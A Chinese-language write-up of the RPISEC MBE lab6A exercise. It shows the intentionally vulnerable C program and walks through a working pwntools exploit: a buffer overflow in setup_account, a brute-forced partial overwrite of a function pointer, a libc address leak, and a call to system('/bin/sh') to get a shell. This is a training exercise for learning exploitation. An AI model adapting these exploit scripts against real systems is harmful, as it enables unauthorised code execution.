RPISEC/MBE: writeup lab6A (PIE)

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6A.c。这个程序相比 RPISEC/MBE:lab6B 要难一点。

utils.h

/*
 * Tools for anti-debug/disasm
 */

/* throws off esp analysis to thwart hexrays */
#define deathrays \
    __asm__ volatile("push     %eax      \n"\
                     "xor      %eax, %eax\n"\
                     "jz       .+5       \n"\
                     ".word    0xC483    \n"\
                     ".byte    0x04      \n"\
                     "pop      %eax      \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
    for (; *_argv; ++_argv) { \
        memset(*_argv, 0, strlen(*_argv)); \
    }
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
    char x = 0;
    while(1)
    {
        x = getchar();
        if(x == '\n' || x == EOF)
            break;
    }
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
    unsigned int res = 0;
    fflush(stdout);
    scanf("%u", &res);
    clear_stdin();
    return res;
}

void prog_timeout(int sig)
{
  asm("mov $1, %eax;"
      "mov $1, %ebx;"
      "int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
  __attribute__ ((constructor)) void enable_timeout_cons() \
  { \
      signal(SIGALRM, prog_timeout); \
      alarm(_time); \
}

lab6A.c

/*
Exploitation with ASLR enabled
Lab A
gcc -fpie -pie -fno-stack-protector -m32 -o lab6A ./lab6A.c
Patrick Biernat
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "./utils.h"

struct uinfo {
    char name[32];
    char desc[128];
    unsigned int sfunc;
}user;


struct item {
    char name[32];
    char price[10];
}aitem;

struct item ulisting;

void write_wrap(char ** buf) {
    write(1, *buf, 8);
}

void make_note() {
    char note[40];
    printf("Make a Note About your listing...: ");
    gets(note);
}

void print_listing() {
    printf(
    "Here is the listing you've created: \n");
    if(*ulisting.name == '\x00') {
        return;
    }
    printf("Item: %s\n", ulisting.name);
    printf("Price: %s\n",ulisting.price);
}

void make_listing() {
    printf("Enter your item's name: ");
    fgets(ulisting.name, 31, stdin);
    printf("Enter your item's price: ");
    fgets(ulisting.price, 9, stdin);
}

void setup_account(struct uinfo * user) {
    char temp[128];
    memset(temp, 0, 128);
    printf("Enter your name: ");
    read(0, user->name, sizeof(user->name));
    printf("Enter your description: ");
    read(0, temp, sizeof(user->desc));
    strncpy(user->desc, user->name,32);
    strcat(user->desc, " is a ");

    memcpy(user->desc + strlen(user->desc), temp, strlen(temp));
}

void print_name(struct uinfo * info) {
    printf("Username: %s\n", info->name);
}

int main(int argc, char ** argv) {
    disable_buffering(stdout);
    struct uinfo  merchant;
    char choice[4];

    printf(
    ".-------------------------------------------------. \n" \
    "|  Welcome to l337-Bay                          + | \n"
    "|-------------------------------------------------| \n"
    "|1: Setup Account                                 | \n"
    "|2: Make Listing                                  | \n"
    "|3: View Info                                     | \n"
    "|4: Exit                                          | \n"
    "|-------------------------------------------------| \n" );

    // Initialize user info
    memset(merchant.name, 0, 32);
    memset(merchant.desc, 0 , 64);
    merchant.sfunc = (unsigned int)print_listing;

    //initialize listing
    memset(ulisting.name, 0, 32);
    memset(ulisting.price, 0, 10);

    while(1) {
        memset(choice, 0, 4);
        printf("Enter Choice: ");

        if (fgets(choice, 2, stdin) == 0) { 
            break;
        }
        getchar(); // Eat the newline

        if (!strncmp(choice, "1",1)) {
            setup_account(&merchant);
        }
        if (!strncmp(choice, "2",1)) {
            make_listing();
        }
        if (!strncmp(choice, "3",1)) { // ITS LIKE HAVING CLASSES IN C!
            ( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);
        }
        if (!strncmp(choice, "4",1)) {
            return EXIT_SUCCESS;
        }

    }


    return EXIT_SUCCESS;
}

站长已经编译好了,点击下载lab6A

Writeup 借鉴自https://devel0pment.de/?p=378

漏洞在哪里?

在函数setup_account里面,通过strncpy用最大字节数为32的结构体元素 user->name 来初始化结构体元素 user->desc。然后,字符串“is a”被追加到user->desc,这使得 user->desc 此时最长为 32 + 6 = 38 字节。然后追加变量temp的内容(最大为128字节)。总计38 + 128 = 166字节被复制到 user->desc。因为user->desc只有128字节长,所以会导致缓冲区溢出。

如何利用?

我们现在可以控制指令指针(也就是 merchant.sfunc),但我们应该跳到哪里呢?我们既不知道任何绝对地址,也不知道共享库。我们的最终目标是生成一个shell。因为二进制文件中没有后门函数(win函数)并且我们不能在堆栈中存储和执行shell代码(启用了NX),所以我们应该尝试从libc调用system("/bin/sh")。在此之前,我们需要libc的地址。merchant.sfunc 包含函数print_listing的绝对地址,它至少是二进制文件的有效地址。我们可以进行部分覆盖来调用二进制的另一个函数。由于我们想泄漏libc地址,因此必须以某种方式打印一些东西,一个合适的候选可能是函数print_name:

void print_name(struct uinfo * info) {
    printf("Username: %s\n", info->name);
}

首先我们需要查找print_name 的偏移,下面的两个字节就是我们要覆盖的。

pwndbg> p print_name 
$1 = {<text variable, no debug info>} 0xaff <print_name>

print_name位于偏移0xaff处。因为我们要覆盖的两个最不重要的字节仍然是4个随机比特,所以我编写了一个python脚本,它重复地将这两个字节设置为0xaff,若调用失败则重新调用,直到调用成功:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


def setupAccount(p, u, d):
  p.sendline("1")
  p.recvuntil("name: ")
  p.sendline(u)
  p.recvuntil("description: ")
  p.sendline(d)
  p.recvuntil("Choice: ")
  p.sendline("3")


i = 0
while True:

  p = process("./lab6A")
  p.recvuntil("Choice: ")

  # partially overwrite sfunc (print_name)
  setupAccount(p, "A"*31, "X"*90+"\xff\x0a" + "\x00")

  try:
    ret = p.recv(400)
    if ("Username: " in ret):
      break
  except EOFError:
    continue

log.info("Partial overwrite succeeded!")


print(hexdump(ret))
p.interactive()

运行脚本结果如下:

[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[*] Partial overwrite succeeded!
00000000  55 73 65 72  6e 61 6d 65  3a 20 41 41  41 41 41 41  │User│name│: AA│AAAA│
00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000020  41 41 41 41  41 41 41 41  41 0a 41 41  41 41 41 41  │AAAA│AAAA│A·AA│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  │AAAA│AAAA│A· i│s a │
00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
*
000000a0  58 58 58 58  58 58 58 58  58 58 ff 0a  63 56 90 51  │XXXX│XXXX│XX··│cV·Q│
000000b0  b5 ff 0a 45  6e 74 65 72  20 43 68 6f  69 63 65 3a  │···E│nter│ Cho│ice:│
000000c0  20                                                  │ │
000000c1
[*] Switching to interactive mode
$ 

输出中有两个地址:偏移0xaa的0x56630aff和偏移0xae的0xffb55190。

第一个地址就是sfunc的值。我们用0xaff覆盖了最不重要的两个字节。第二个地址也具有相同的基地址。不幸的是,这不是我们想要的,因为我们需要libc地址。

我们怎么能泄漏更多信息呢?还记得下面这行setup_account函数吗?

memcpy(user->desc + strlen(user->desc), temp, strlen(temp));

由于我们已经填满了user->desc,而strncpy函数和strcat函数都没有在user->desc中产生一个空字节,因此第二次调用 setup_account 函数时会覆盖上面的0xb3地方的\x00字节,覆盖之后则会打印出我们想要的地址信息。

用下面脚本表示:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


def setupAccount(p, u, d):
  p.sendline("1")
  p.recvuntil("name: ")
  p.sendline(u)
  p.recvuntil("description: ")
  p.sendline(d)
  p.recvuntil("Choice: ")
  p.sendline("3")


i = 0
while True:

  p = process("./lab6A")
  p.recvuntil("Choice: ")

  # partially overwrite sfunc (print_name)
  setupAccount(p, "A"*31, "X"*90+"\xff\x0a" + "\x00")

  try:
    ret = p.recv(400)
    if ("Username: " in ret):
      break
  except EOFError:
    continue

log.info("Partial overwrite succeeded!")


print(hexdump(ret))
 
setupAccount(p, "u", "d")
log.info("Again")
print(hexdump(p.recv(400)))
p.interactive()

结果如下:

[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[+] Starting local process './lab6A': Done
[*] Partial overwrite succeeded!
00000000  55 73 65 72  6e 61 6d 65  3a 20 41 41  41 41 41 41  │User│name│: AA│AAAA│
00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000020  41 41 41 41  41 41 41 41  41 0a 41 41  41 41 41 41  │AAAA│AAAA│A·AA│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  │AAAA│AAAA│A· i│s a │
00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
*
000000a0  58 58 58 58  58 58 58 58  58 58 ff 0a  5b 56 90 7a  │XXXX│XXXX│XX··│[V·z│
000000b0  95 ff 0a 45  6e 74 65 72  20 43 68 6f  69 63 65 3a  │···E│nter│ Cho│ice:│
000000c0  20                                                  │ │
000000c1
[*] Again
00000000  55 73 65 72  6e 61 6d 65  3a 20 75 0a  41 41 41 41  │User│name│: u·│AAAA│
00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000020  41 41 41 41  41 41 41 41  41 0a 75 0a  41 41 41 41  │AAAA│AAAA│A·u·│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  │AAAA│AAAA│A· i│s a │
00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
*
000000a0  58 58 58 58  58 58 58 58  58 58 ff 0a  5b 56 90 7a  │XXXX│XXXX│XX··│[V·z│
000000b0  95 ff 20 69  73 20 61 20  64 0a 81 ee  d6 f7 0a 45  │·· i│s a │d···│···E│
000000c0  6e 74 65 72  20 43 68 6f  69 63 65 3a  20           │nter│ Cho│ice:│ │
000000cd
[*] Switching to interactive mode
$ 

我们从第二个地址后面泄漏了另一个地址:0xf7d6ee81,偏移为0xba。通过gdb调试可以确定这个地址是__libc_start_main 调用main 函数之后的ret 地址。现在我们只需要计算必要的偏移量,即可以泄露libc基地址。

pwndbg> x/i 0xf7d6ee81
   0xf7d6ee81 <__libc_start_main+241>:	add    esp,0x10

下面就是该程序的exp脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
 
def setupAccount(p, u, d):
    p.sendline("1")
    p.recvuntil("name: ")
    p.sendline(u)
    p.recvuntil("description: ")
    p.sendline(d)
    p.recvuntil("Choice: ")
    p.sendline("3")
 
 
while True:
 
    p = process("./lab6A")
    p.recvuntil("Choice: ")
 
    # partially overwrite sfunc (print_name)
    setupAccount(p, "A"*31, "X"*90+"\xff\x0a" + "\x00")
 
    try:
        ret = p.recv(400)
        if ("Username: " in ret): break
    except EOFError:
        continue
 
log.info("Partial overwrite succeeded!")

context.log_level="debug"
# 泄露基地址
setupAccount(p, "u", "d")
ret = p.recv(400)
libc_leak = ord(ret[0xba]) + (ord(ret[0xbb])<<8) + (ord(ret[0xbc])<<16) + (ord(ret[0xbd])<<24)
log.info("libc_leak: " + hex(libc_leak))
 
# main函数ret的地址相对于 __libc_start_main 函数的偏移
__libc_start_main_inner_offset = 241

# 不同版本的库函数,偏移不同
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base     = libc_leak - __libc_start_main_inner_offset - libc.symbols['__libc_start_main']
log.success("libc_base: " + hex(libc_base))

# 因为我的库函数的system的基地址最后一个字节总是为\x00,所以向上偏移一条指令(4字节),结果并不影响执行
addr_system = libc_base + libc.symbols['system'] - 4
 
# call system("/bin/sh"))

# context.terminal=["deepin-terminal","-x","sh","-c"]
# gdb.attach(proc.pidof(p)[0],'c')
setupAccount(p, 19*"/"+"/bin/sh\x00", "X"*96+p32(addr_system))
p.interactive()